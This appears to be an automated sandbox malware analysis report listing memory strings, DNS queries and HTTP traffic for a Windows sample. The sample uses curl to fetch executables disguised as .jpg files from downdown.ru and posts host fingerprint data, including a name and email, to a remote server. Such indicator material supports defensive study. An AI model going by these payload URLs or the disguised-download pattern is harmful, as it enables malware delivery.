DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 00000038.00000000.1502118709.0000000000A69000.00000008.00000001.01000000.00000008.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000038.00000000.1502118709.0000000000A69000.00000008.00000001.01000000.00000008.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 00000038.00000002.1510086546.0000000000A6B000.00000008.00000001.01000000.00000008.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000038.00000002.1510086546.0000000000A6B000.00000008.00000001.01000000.00000008.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 00000039.00000002.1526075062.0000000000A6B000.00000008.00000001.01000000.00000008.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000039.00000002.1526075062.0000000000A6B000.00000008.00000001.01000000.00000008.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)
Source: curl.exe, 00000039.00000000.1510956067.0000000000A69000.00000008.00000001.01000000.00000008.sdmp	String found in binary or memory: Usage: curl [options...] <url>
Source: curl.exe, 00000039.00000000.1510956067.0000000000A69000.00000008.00000001.01000000.00000008.sdmp	String found in binary or memory: Usage: curl [options...] <url>Options: (H) means HTTP/HTTPS only, (F) means FTP only --anyauth Pick "any" authentication method (H) --basic Use HTTP Basic Authentication (H) -K, --config FILE Read config from FILE -a, --append Append to target file when uploading (F/SFTP) -C, --continue-at OFFSET Resumed transfer OFFSET --cacert FILE CA certificate to verify peer against (SSL) --capath DIR CA directory to verify peer against (SSL) --crlf Convert LF to CRLF in upload -E, --cert CERT[:PASSWD] Client certificate file and password (SSL) --cert-type TYPE Certificate file type (DER/PEM/ENG) (SSL) --ciphers LIST SSL ciphers to use (SSL) -d, --data DATA HTTP POST data (H) --data-ascii DATA HTTP POST ASCII data (H) --compressed Request compressed response (using deflate or gzip) --data-binary DATA HTTP POST binary data (H) --connect-timeout SECONDS Maximum time allowed for connection -b, --cookie STRING/FILE Read cookies from STRING/FILE (H) --data-urlencode DATA HTTP POST data url encoded (H) -c, --cookie-jar FILE Write cookies to FILE after operation (H) --delegation STRING GSS-API delegation permission --disable-eprt Inhibit using EPRT or LPRT (F) --create-dirs Create necessary local directory hierarchy --crlfile FILE Get a CRL list in PEM format from the given file --digest Use HTTP Digest Authentication (H) --disable-epsv Inhibit using EPSV (F) --dns-servers DNS server addrs to use: 1.1.1.1;2.2.2.2 --dns-interface Interface to use for DNS requests -D, --dump-header FILE Write the headers to FILE --dns-ipv4-addr IPv4 address to use for DNS requests, dot notation --egd-file FILE EGD socket path for random data (SSL) --dns-ipv6-addr IPv6 address to use for DNS requests, dot notation -F, --form CONTENT Specify HTTP multipart POST data (H) --engine ENGINE Crypto engine (use "--engine list" for list) (SSL) --ftp-account DATA Account data string (F) -f, --fail Fail silently (no output at all) on HTTP errors (H) --ftp-pasv Use PASV/EPSV instead of PORT (F) --ftp-ssl-ccc-mode ACTIVE/PASSIVE Set CCC mode (F) --form-string STRING Specify HTTP multipart POST data (H) --ftp-alternative-to-user COMMAND String to replace "USER [name]" (F) -G, --get Send the -d data with a HTTP GET (H) --ftp-create-dirs Create the remote dirs if not present (F) --ftp-ssl-ccc Send CCC after authenticating (F) -H, --header LINE Pass custom header LINE to server (H) --ftp-method [MULTICWD/NOCWD/SINGLECWD] Control CWD usage (F) -h, --help This help text -P, --ftp-port ADR Use PORT with given address instead of PASV (F) --ftp-skip-pasv-ip Skip the IP address for PASV (F)

Source: global traffic	DNS traffic detected: DNS query: time.windows.com
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: downdown.ru
Source: global traffic	DNS traffic detected: DNS query: www.4t-niagara.com
Source: global traffic	DNS traffic detected: DNS query: boot.net.anydesk.com

Source: unknown

HTTP traffic detected: POST /checkupdate.php HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedUser-Agent: TpaHTTPHost: www.4t-niagara.comContent-Length: 150Cache-Control: no-cacheData Raw: 70 72 67 3d 6d 69 6e 26 76 65 72 3d 36 2e 30 37 26 65 64 3d 50 72 6f 26 70 6f 72 74 3d 30 26 77 69 6e 3d 57 69 6e 31 30 26 66 69 6e 61 6c 3d 30 26 61 75 74 6f 3d 30 26 66 70 3d 37 39 65 31 62 32 36 35 65 33 63 62 37 37 34 63 33 32 61 62 35 38 38 62 32 37 34 37 61 38 32 63 26 6f 69 64 3d 33 46 55 4d 46 52 4a 2d 41 46 57 34 5a 42 26 72 6e 61 6d 65 3d 41 6c 65 78 26 65 6d 61 69 6c 3d 77 65 62 2e 64 65 74 65 63 74 69 76 40 67 6d 61 69 6c 2e 63 6f 6d Data Ascii: prg=min&ver=6.07&ed=Pro&port=0&win=Win10&final=0&auto=0&fp=79e1b265e3cb774c32ab588b2747a82c&oid=3FUMFRJ-AFW4ZB&rname=Alex&email=web.detectiv@gmail.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 08 Jan 2025 14:53:54 GMTServer: ApacheContent-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>

Source: driver.exe, 0000003A.00000003.1535835136.0000000002C73000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000003B.00000000.1542873436.00000000005A5000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://4t-niagara.com/hitmail.html
Source: driver.exe, 0000003A.00000003.1535835136.0000000002C73000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000003B.00000000.1542873436.00000000005A5000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://4t-niagara.com/reminder.html
Source: driver.exe, 0000003A.00000003.1535835136.0000000002C73000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000003B.00000000.1542873436.00000000005A5000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://4t-niagara.com/webimage.html
Source: curl.exe, 00000046.00000003.1683701622.0000000000F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bmapps.org/bmcontrol/win64/
Source: curl.exe, 00000046.00000003.1683701622.0000000000F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bmapps.org/bmcontrol/win64/app.json
Source: curl.exe, 00000039.00000003.1525434919.0000000001096000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000039.00000003.1525501304.0000000001096000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000039.00000002.1526751600.0000000001096000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingg2.crl0T
Source: curl.exe, 00000039.00000003.1525456845.0000000001083000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000039.00000003.1525434919.0000000001096000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000039.00000003.1525501304.0000000001096000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000039.00000002.1526751600.0000000001096000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root.crl0
Source: svchost.exe, 0000000B.00000002.2500799377.000001E809E94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: eqRHH2whJu.exe, 00000000.00000003.1241524984.0000000004B40000.00000004.00001000.00020000.00000000.sdmp, curl.exe, curl.exe, 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000034.00000000.1401190486.0000000000A69000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000035.00000002.1429020465.0000000000A71000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000035.00000000.1416973366.0000000000A69000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000036.00000002.1478512282.0000000000A71000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000036.00000000.1430094705.0000000000A69000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000037.00000002.1501211270.0000000000A71000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000037.00000000.1479597319.0000000000A69000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000038.00000000.1502118709.0000000000A69000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000038.00000002.1510123096.0000000000A71000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000039.00000002.1526114789.0000000000A71000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000039.00000000.1510956067.0000000000A69000.00000008.00000001.01000000.00000008.sdmp	String found in binary or memory: http://curl.haxx.se/docs/http-cookies.html
Source: curl.exe	String found in binary or memory: http://curl.haxx.se/docs/http-cookies.html#
Source: eqRHH2whJu.exe, 00000000.00000003.1241524984.0000000004B40000.00000004.00001000.00020000.00000000.sdmp, curl.exe, curl.exe, 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000034.00000000.1401190486.0000000000A69000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000035.00000002.1428972729.0000000000A6B000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000035.00000000.1416973366.0000000000A69000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000036.00000002.1478309436.0000000000A6B000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000036.00000000.1430094705.0000000000A69000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000037.00000000.1479597319.0000000000A69000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000037.00000002.1501084790.0000000000A6B000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000038.00000000.1502118709.0000000000A69000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000038.00000002.1510086546.0000000000A6B000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000039.00000002.1526075062.0000000000A6B000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000039.00000000.1510956067.0000000000A69000.00000008.00000001.01000000.00000008.sdmp	String found in binary or memory: http://curl.haxx.se/docs/sslcerts.html
Source: curl.exe	String found in binary or memory: http://curl.haxx.se/docs/sslcerts.htmlcurl
Source: curl.exe, 00000039.00000000.1510956067.0000000000A69000.00000008.00000001.01000000.00000008.sdmp	String found in binary or memory: http://curl.haxx.se/libcurl/c/curl_easy_setopt.html
Source: eqRHH2whJu.exe, 00000000.00000003.1323794549.000000000209C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/Trays.j
Source: curl.exe, 00000037.00000002.1501459774.0000000000B20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/Trays.jpg
Source: eqRHH2whJu.exe, 00000000.00000002.1341961643.0000000000475000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/Trays.jpg.jpC:
Source: curl.exe, 00000037.00000002.1501459774.0000000000B20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/Trays.jpg5
Source: curl.exe, 00000037.00000002.1501459774.0000000000B20000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000037.00000002.1500845504.0000000000830000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/Trays.jpgC:
Source: curl.exe, 00000037.00000002.1501459774.0000000000B20000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000037.00000002.1500845504.0000000000830000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/Trays.jpgWinsta0
Source: eqRHH2whJu.exe, 00000000.00000003.1323794549.000000000209C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/bat.
Source: eqRHH2whJu.exe, 00000000.00000003.1324030381.0000000002090000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/bat.j
Source: eqRHH2whJu.exe, eqRHH2whJu.exe, 00000000.00000003.1323746617.0000000002094000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/bat.jpg
Source: eqRHH2whJu.exe, 00000000.00000003.1323746617.0000000002094000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/bat.jpgJ
Source: curl.exe, 00000035.00000002.1429513827.0000000001137000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000035.00000002.1429513827.0000000001130000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/blat.jpg
Source: curl.exe, 00000035.00000002.1429513827.0000000001137000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/blat.jpg4o
Source: eqRHH2whJu.exe, 00000000.00000003.1323746617.0000000002094000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/blat.jpg:
Source: curl.exe, 00000035.00000002.1429471071.0000000001020000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000035.00000002.1429513827.0000000001130000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/blat.jpgC:
Source: curl.exe, 00000035.00000002.1429513827.0000000001137000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/blat.jpgKo
Source: curl.exe, 00000035.00000002.1429471071.0000000001020000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000035.00000002.1429513827.0000000001130000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/blat.jpgWinsta0
Source: curl.exe, 00000035.00000002.1429513827.0000000001137000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/blat.jpgpo
Source: eqRHH2whJu.exe, 00000000.00000003.1323794549.000000000209C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/dc.jp
Source: curl.exe, 00000039.00000002.1526515398.0000000001058000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/dc.jpg
Source: curl.exe, 00000039.00000002.1526515398.0000000001058000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/dc.jpg?
Source: curl.exe, 00000039.00000002.1526515398.0000000001050000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000039.00000002.1526449597.0000000000E70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/dc.jpgC:
Source: curl.exe, 00000039.00000002.1526515398.0000000001058000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/dc.jpgM
Source: curl.exe, 00000039.00000002.1526515398.0000000001050000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000039.00000002.1526449597.0000000000E70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/dc.jpgWinsta0
Source: curl.exe, 00000039.00000002.1526515398.0000000001058000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/dc.jpgsv
Source: curl.exe, 00000034.00000002.1415547198.0000000000F1E000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000034.00000002.1415547198.0000000000F10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/driver.jpg
Source: eqRHH2whJu.exe, 00000000.00000003.1323794549.000000000209C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/driver.jpg4
Source: eqRHH2whJu.exe, 00000000.00000003.1323746617.0000000002094000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/driver.jpg:
Source: curl.exe, 00000034.00000002.1415547198.0000000000F1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/driver.jpg:e~6
Source: curl.exe, 00000034.00000002.1415547198.0000000000F10000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000034.00000002.1416218685.0000000001060000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/driver.jpgC:
Source: curl.exe, 00000034.00000002.1415547198.0000000000F10000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000034.00000002.1416218685.0000000001060000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/driver.jpgWinsta0
Source: curl.exe, 00000034.00000002.1415547198.0000000000F1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/driver.jpgm
Source: eqRHH2whJu.exe, 00000000.00000003.1323794549.000000000209C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/svchost.
Source: curl.exe, 00000036.00000002.1479090544.0000000000E48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/svchost.jpg
Source: curl.exe, 00000036.00000002.1479090544.0000000000E48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/svchost.jpg0
Source: curl.exe, 00000036.00000002.1479090544.0000000000E40000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000036.00000002.1478978881.0000000000C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/svchost.jpgC:
Source: curl.exe, 00000036.00000002.1479090544.0000000000E48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/svchost.jpgO
Source: curl.exe, 00000036.00000002.1479090544.0000000000E40000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000036.00000002.1478978881.0000000000C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/svchost.jpgWinsta0
Source: eqRHH2whJu.exe, 00000000.00000003.1323746617.0000000002094000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/svchost.jpgv
Source: eqRHH2whJu.exe, 00000000.00000003.1323794549.000000000209C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/wol.j
Source: curl.exe, 00000038.00000002.1510466825.00000000010F0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000038.00000002.1510466825.00000000010F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/wol.jpg
Source: curl.exe, 00000038.00000002.1510466825.00000000010F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/wol.jpg0
Source: curl.exe, 00000038.00000002.1510466825.00000000010F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/wol.jpg?
Source: curl.exe, 00000038.00000002.1510466825.00000000010F0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000038.00000002.1510399744.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/wol.jpgC:
Source: curl.exe, 00000038.00000002.1510466825.00000000010F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/wol.jpgK
Source: curl.exe, 00000038.00000002.1510466825.00000000010F0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000038.00000002.1510399744.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://downdown.ru/wol.jpgWinsta0
Source: svchost.exe, 0000000B.00000003.1269672269.000001E809BA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: eqRHH2whJu.exe, 00000000.00000003.1241524984.0000000004B40000.00000004.00001000.00020000.00000000.sdmp, curl.exe, 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmp, curl.exe, 00000034.00000000.1401190486.0000000000A69000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000035.00000000.1416973366.0000000000A69000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000035.00000002.1428998627.0000000000A70000.00000004.00000001.01000000.00000008.sdmp, curl.exe, 00000036.00000000.1430094705.0000000000A69000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000036.00000002.1478390218.0000000000A70000.00000004.00000001.01000000.00000008.sdmp, curl.exe, 00000037.00000002.1501103504.0000000000A70000.00000004.00000001.01000000.00000008.sdmp, curl.exe, 00000037.00000000.1479597319.0000000000A69000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000038.00000002.1510106964.0000000000A70000.00000004.00000001.01000000.00000008.sdmp, curl.exe, 00000038.00000000.1502118709.0000000000A69000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000039.00000002.1526098247.0000000000A70000.00000004.00000001.01000000.00000008.sdmp, curl.exe, 00000039.00000000.1510956067.0000000000A69000.00000008.00000001.01000000.00000008.sdmp	String found in binary or memory: http://https://-.://%s%s%s/%s://plusYou
Source: svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000003.1573007358.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://iptc.org/std/Iptc4xmpExt/2008-02-29/
